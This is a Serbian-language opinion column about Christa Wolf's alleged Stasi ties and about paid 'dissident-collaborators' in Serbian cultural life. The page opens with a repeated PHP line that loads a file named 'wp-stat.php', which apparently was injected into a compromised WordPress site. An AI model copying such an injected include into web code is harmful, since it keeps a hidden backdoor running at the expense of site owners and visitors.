@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); KULTURA I TAJNA POLICIJA: Molimo za malo tišine! – Nedim Sejdinović

KULTURA I TAJNA POLICIJA: Molimo za malo tišine!

Jedna od najpoznatijih savremenih nemačkih spisateljica, Krista Volf, koja je nedavno osvojila 75. godinu života, živela je u komunističkoj Istočnoj Nemačkoj, ali joj to nije smetalo da bude priznata kako u svojoj zemlji i na svom jezičkom području, tako i u celom svetu. Mada je bila članica komunističke partije, iz koje je izašla tek kada se ova sama od sebe počela raspadati, dakle krajem osamdesetih, Volfova je u Nemačkoj demokratskoj republici bila simbol protivljenja represiji i kritike eskaliranja društvene nepravde. Njeni čitaoci, a i dobar deo dobro skrivene prodemokratske javnosti u njoj su prepoznavali osobu koja može inicirati društvene promene koje će Istočnu Nemačku uvesti u red progresivnih demokratskih zemalja. U njenim delima zaista je uspostavljan sistem vrednosti koji bismo mogli nazvati, pojednostavljeno rečeno, vrednostima savremene civilizacije.

Pre nekoliko godina se, međutim, pojavila vest da je Krista dugo godina bila saradnik jedne od najozloglašenijih tajnih službi na svetu – Stazija. U pitanju su samo nagađanja, a otvaranje tajnih dosijea (koje je otkrilo da je čak 1 posto Istočnih Nemaca, što profesionalno, što honorarno, radilo za Službu) to nije potvrdilo. Ipak, ova informacija je zaprepastila njene poštovaoce i stavilo pod znak pitanja njen do tada neukaljan lik. Jer, Krista Volf je bila u sporu sa represivnim režimom DDR-a, a neke od njenih knjiga bile su zabranjene.

U njenom romanu, prevedenom i na naš jezik, “Od krvi i mesa”, čija je okosnica presek života jedne starice koja se nalazi na samrti, neki kritičari su prepoznali elemente koji, po njima, idu u prilog tezi da je sarađivala sa “osnovnom polugom moći represivnog režima” – neki pasaži u knjizi, vele oni, govore o njenom kajanju zbog toga. Ako bi se sledila ta logika, onda bi se moglo reći da je celokupno delo Kriste Volf, u kojem se ona razračunava sa nacističkim nasleđem, antisemitizmom i totalitarnom svešću, tek posledica nečiste savesti. Sve to deluje i više nego nategnuto, ali uzmimo ova primer, koliko god bio imaginaran, kao shizofreni model koji je bio moguć u istočnoevropskim zemljama: pisac je blizak saradnik svih državnih službi, denuncira svoje kolege, ali istovremeno u svojim delima zalaže sa za vrednosti otvorenog, modernog društva. Čak mu s vremena na vreme, čisto radi potpune mimikrije, zabrane poneku knjigu.

Taj model disidenta-saradnika nekako mnogo više odgovara zemlji koja je imala mekši oblik socijalizma, tzv. socijalizam sa ljudskim likom, odnosno počivšoj SFRJ. U jednoj veštoj igri između Istoka, Zapada, Severa i Juga, između demokratije i totalitarizma, između globalizma i antiglobalizma, Titov režim je verovatno morao igrati i na kartu plaćenih disidenata. Valjda u to, posle svega što smo preživeli svih ovih godina, niko više i ne sumnja. U pitanju je bio kanda značajan broj uglednih ličnosti. Miloševićev režim je po inerciji, uz neka moduliranja, nastavio tim putem i u višestranačkim okolnostima imao i plaćenu opoziciju. Kulturni poslenici nisu imali više toliko važnu društvenu ulogu, ali nije zgoreg ni njih imati na platnom spisku.

Kao i u slučaju Kriste Vulf, ostaje nam samo da nagađamo kakvu je mračnu prošlost imao pojedini ugledni član našeg društva i da se nadamo da se takve stvari više ne dešavaju, bar ne u toj meri. Međutim, sve ovo što se dešava u Srbiji, pogotovo od smrti premijera Đinđića naovamo, kazuje da su naše nade prilično naivne. Neki kažu da se rešenje svih tih DB problema krije u otvaranju tajnih dosijea, verovatno ne sluteći da bi tek to proizvelo pravu društvenu papazjaniju i bilo beskonačan prostor za manipulaciju svih vrsta. Prepostavljati je da bi za špijune bili proglašeni isti oni koji su poslednjih godina izloženi strašnoj medijskoj kriminalizaciji. (Cinici bi rekli da se možda toliko dugo čeka na otvaranje dosijea jer Služba pravi paralelno knjigovodstvo, a to je veliki i obiman projekat falsifikovanja stvarnosti.)

Istovremeno, kada se pogled usmeri na kulturni elitu, lako se konstatuje ovo: isti oni koji su svih ovih godina bili bliski vlasti ili koji su kao disidenti gradili em urnebesnu karijeru u državnim insitucijama, em velelepne kuće u elitnim delovima gradova još uvek “drmaju”, i to “sve u šesnaest”! Pretpolitičko doba u kojem živimo, a koje karakteriše insuficijencija ozbiljne društvene kritike, ostavlja ogroman prostor za to da javnom scenom “špartaju” većinom moralni idioti.

Nedavno postignut široki konsenzus u srbijanskom društvu da se o prošlosti nema šta razgovarati i da ne treba pokretati krucijalne teme, kakva je recimo uloga ovdašnjih intelektualaca u strašnom krvoproliću na Balkanu devedesetih, samo govori o tome da su oni koji su bili malo uzdrmani “petooktobarskom revolucijom” u međuvremenu, sportskim rečnikom rečeno, konsolidovali redove. Alternativa u Srbiji je uglavnom tamo gde je bila za vreme Miloševića, s tim što je sada u debeloj defanzivi.

I ako je radila za Stazi, Kristi Volf možemo oprostiti, možemo joj možda čak i čestitati na izvesnoj lukavosti. Najvažnija su njena dela koja govore sasvim drugim, modernim jezikom. Naši su disidenti-kooperanti sve ove godine govorile ustajalim, nacionalističko-patrijarahalnim jezikom, koji je na kraju izvojevao pobedu, ali i odneo nekoliko stotina hiljada života. I dalje govore, i nikako da zaćute!

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.